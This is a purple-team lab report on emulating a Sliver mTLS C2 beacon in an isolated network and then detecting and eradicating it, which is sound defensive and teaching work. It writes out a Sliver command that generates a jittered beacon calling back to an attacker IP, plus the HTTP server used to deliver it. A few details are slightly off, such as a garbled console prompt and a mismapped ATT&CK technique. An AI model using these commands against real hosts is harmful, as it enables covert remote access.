

SECURITY ASSESSMENT REPORT

Enterprise C2 Detection & Incident Response Lab

A Purple Team Exercise Simulating, Detecting, and Eradicating a Sliver C2 Beacon Infection

Field	Details
Prepared By	Ayush Kumar Patel
Role	Cybersecurity Analyst / Purple Team Practitioner
Project Repository	Advanced-SOC-and-Threat-Detection / Enterprise-C2-Detection-Lab
Environment	Isolated, locally-hosted virtual lab (Host-Only network)
Report Type	Technical Assessment & Detection Engineering Summary
Classification	Educational / Authorized Testing Only

Disclaimer: All activities described in this report were conducted in a strictly isolated, locally hosted virtual laboratory for educational and authorized testing purposes only. No production systems or third-party assets were involved.

1. Executive Summary

This report documents a full-cycle Purple Team exercise that simulated an enterprise Command and Control (C2) infection using the Sliver C2 framework, and evaluated the organization's (lab environment's) ability to detect, contain, and eradicate the threat. The exercise covers the complete attack lifecycle — payload weaponization, delivery, C2 establishment, network- and endpoint-level detection, and incident response — and produces reusable detection artifacts (Suricata rules and a Python beacon analyzer) suitable for SOC operations.

The lab successfully demonstrated that a jittered mTLS beacon, delivered over a non-standard HTTP port, can be identified through a combination of network packet inspection (Wireshark), endpoint telemetry correlation (Sysinternals TCPView / Process Explorer), and signature-based network detection (custom Suricata rules). The threat was contained by terminating the malicious process, and eradication was independently verified from the attacker-side C2 console.

Key Outcomes

- A 64-bit Windows Sliver beacon payload was generated, delivered, and executed end-to-end in an isolated lab network.
- Payload delivery was identified via a cleartext HTTP GET request captured in Wireshark.
- mTLS beaconing on port 8888 was correlated with live endpoint connections using TCPView and Process Explorer.
- Two custom Suricata detection rules were authored to flag payload delivery and beacon traffic in real time.
- A standalone Python script (c2_beacon_analyzer.py) was built to automate beacon-interval detection from Zeek-style connection logs.
- The infection was contained (process termination) and eradication was verified via the Sliver console's beacon check-in status.

Overall Risk & Detection Rating

Dimension	Rating	Notes
Detectability of Delivery Stage	High	Cleartext HTTP GET for a .exe on a non-standard port is trivially signature-able.
Detectability of C2 Beaconing	Medium	mTLS + jitter evades naive time-based rules; requires interval/statistical analysis.
Time to Contain (Lab)	Low	Manual TCPView-based termination; production would benefit from EDR auto-isolation.
Reusability of Artifacts	High	Suricata rules and analyzer script are directly portable to a SOC environment.

2. Scope & Lab Architecture

The exercise was executed entirely within an isolated, host-only virtual network to ensure no external exposure. The environment modeled a minimal two-host enterprise segment: an attacker-controlled Kali Linux system and a Windows 10 x64 victim endpoint.

Component	Detail	Value
Attacker Machine	Kali Linux	192.168.xx.x (lab-assigned)
Victim Machine	Windows 10 x64	192.168.56.101
Network Mode	Host-Only Adapter	Fully isolated from external networks
C2 Framework	Sliver	mTLS listener, port 8888
Payload Delivery	Python3 HTTP Server	Port 8080
Network Analysis	Wireshark / tcpdump	PCAP capture & deep packet inspection
Endpoint Telemetry	Sysinternals (TCPView, Process Explorer)	Live connection & process correlation

Objectives

- Generate and deliver a custom mTLS beacon payload using the Sliver C2 framework.
- Analyze network traffic to detect payload delivery and C2 beaoning patterns.
- Use Sysinternals for live endpoint telemetry and process analysis.
- Execute an incident response drill covering containment and eradication.

3. Phase 1 — Attack Emulation (Red Team)

3.1 Weaponization

A 64-bit Windows executable beacon (**SATISFIED_ASTROLABE.exe**) was generated using the Sliver C2 framework. It was configured to communicate over mTLS on port 8888 with a 30-second check-in interval and 10-second jitter, specifically to evade static, time-based detection rules.

```
sliver > mtlsliver > generate beacon --mtls 192.168.56.1 --os windows --arch amd64 --format exe --seconds 30 --jitter 10
```

3.2 Payload Delivery

The payload was hosted on the attacker machine via a lightweight Python HTTP server and retrieved by the victim host, simulating a drive-by download or phishing-driven download vector.

```
python3 -m http.server 8080
```

3.3 C2 Establishment

On execution, the payload established an mTLS session back to the Sliver server. The configured jitter successfully randomized subsequent check-in timings, confirming the evasion behavior worked as designed.

3.4 MITRE ATT&CK Mapping (Red Team Actions)

Technique ID	Technique	Observed Behavior
T1105	Ingress Tool Transfer	Payload downloaded via HTTP server (port 8080)
T1071.001	Application Layer Protocol: Web Protocols	mTLS/HTTPS-based beacon channel
T1573	Encrypted Channel	mTLS used to encrypt C2 traffic
T1571	Non-Standard Port	C2 traffic routed over port 8888
T1568.002	Dynamic Resolution: Domain Generation (jitter analogue)	30s interval + 10s jitter to evade timing-based detection

4. Phase 2 — Threat Hunting & Detection (Blue Team)

4.1 Network-Level Detection

Deep packet inspection with Wireshark identified the initial infection vector. Filtering traffic between the two lab hosts revealed a standard TCP three-way handshake followed by a cleartext **GET /SATISFIED_ASTROLABE.exe HTTP/1.1** request on port 8080.

Filter used: `ip.addr == 192.168.56.101 && ip.addr == 192.168.56.1 && tcp.port == 8080`

4.2 Endpoint-Level Detection

Sysinternals tooling was used to correlate the network activity with local process behavior:

- **Process Explorer** — identified the malware process running in the background without a verified digital signature.
- **TCPView** — confirmed the process maintaining active SYN_SENT and ESTABLISHED states to the attacker IP on port 8888.

4.3 Detection Engineering — Custom Suricata Rules

Two signature-based detection rules were authored to operationalize the findings for a production-style NIDS/IDS deployment:

```
# Rule 1 – Payload delivery over non-standard HTTP port
alert http $HOME_NET any -> $EXTERNAL_NET 8080 (msg:"SOC ALERT - Suspicious Windows Executable
Download (Possible C2 Payload)"; flow:established,to_server; content:"GET"; http_method;
content:".exe"; http_uri; classtype:trojan-activity; sid:1000001; rev:1;)

# Rule 2 – mTLS beaconing activity on port 8888
alert tcp $HOME_NET any -> $EXTERNAL_NET 8888 (msg:"SOC ALERT - Potential Sliver mTLS C2 Beaconing
Activity Detected"; flow:established,to_server; threshold:type both, track by_src, count 3,
seconds 90; classtype:command-and-control; sid:1000002; rev:1;)
```

4.4 Detection Engineering — Beacon Interval Analyzer

To supplement signature-based detection (which can miss protocol-compliant, low-and-slow beacons), a Python utility (**c2_beacon_analyzer.py**) was developed to statistically detect beaconing from Zeek-style connection logs. It groups connections by source/destination pair, filters for the suspect port (8888), and flags host pairs whose inter-connection time deltas repeatedly fall within the expected interval-plus-jitter window (20s–40s for a 30s/10s-jitter beacon), raising a high-confidence alert once at least two consistent hits are observed.

- Input: Zeek/CSV-style conn.log (tab-delimited: ts, uid, src_ip, src_port, dst_ip, dst_port ...).
- Logic: sliding time-delta comparison against `EXPECTED_INTERVAL ± JITTER_ALLOWANCE`.
- Output: per-host-pair verdict with recommended action (initiate endpoint containment).
- Value-add: catches beacon patterns even when payload/URI signatures are unavailable or evaded.

5. Phase 3 — Incident Response (Containment & Eradication)

5.1 Containment

Once the malicious process was positively identified via TCPView, the active C2 connection was severed by isolating and forcefully terminating the process — cutting off the adversary's access to the endpoint.

5.2 Eradication & Verification

Eradication was independently verified from the attacker-side infrastructure. In the Sliver console, the beacon's "Last Check-In" timer exceeded 15 minutes with no further check-ins, confirming the session was dead and the endpoint was successfully remediated.

5.3 Incident Timeline Summary

Step	Stage	Action
1	Weaponization	Sliver mTLS beacon payload generated (Windows x64)
2	Delivery	Payload hosted via Python HTTP server; victim downloads over port 8080
3	Execution / C2 Establishment	Payload executed; mTLS session established on port 8888
4	Detection (Network)	Wireshark identifies cleartext HTTP GET for the .exe payload
5	Detection (Endpoint)	TCPView / Process Explorer correlate the unsigned process to active C2 sockets
6	Containment	Malicious process isolated and forcibly terminated
7	Eradication Verified	Sliver console confirms beacon check-in failure (session dead)

6. Findings & Recommendations

6.1 Findings

- Delivery-stage traffic was easily detectable because the payload was fetched in cleartext HTTP over a non-default port with an .exe extension in the URI.
- C2 beaconing on port 8888 was encrypted (mTLS), so content-based signatures were not viable; detection depended on port/behavioral analysis and timing correlation.
- Jitter (± 10 s on a 30s interval) meaningfully complicates naive fixed-interval detection, but remained detectable within a tolerance window using statistical analysis.
- Endpoint telemetry (unsigned binary + anomalous outbound socket) was a strong corroborating signal alongside network evidence.
- Manual, tool-driven containment (TCPView) was effective in a lab setting but does not scale to enterprise volume without EDR automation.

6.2 Recommendations

- Deploy the authored Suricata rules (sid:1000001, sid:1000002) to a production NIDS and tune thresholds against real traffic baselines to reduce false positives.
- Integrate the beacon-interval analyzer logic into a SIEM correlation rule (e.g., Splunk) for continuous, automated beacon hunting rather than ad-hoc log review.
- Enforce application allow-listing / code-signing verification on endpoints to flag unsigned binaries automatically, reducing reliance on manual Process Explorer review.
- Route all outbound web traffic through an egress proxy that blocks direct executable downloads over non-standard ports.
- Adopt EDR with automated network isolation to shrink the time between detection and containment compared to manual TCPView-based termination.
- Extend the lab to test longer beacon intervals and additional jitter ranges to validate detection coverage against low-and-slow C2 profiles.

7. Conclusion

This Purple Team exercise validated a complete detection-to-eradication workflow against a realistic, jittered mTLS C2 beacon. It produced two directly reusable detection assets (Suricata rules and a Python beacon analyzer) and demonstrated that layered visibility — network packet inspection, endpoint telemetry, and behavioral/statistical analysis — is required to reliably detect modern C2 frameworks that rely on encryption and timing jitter to evade simple, static detection logic.

virtual laboratory.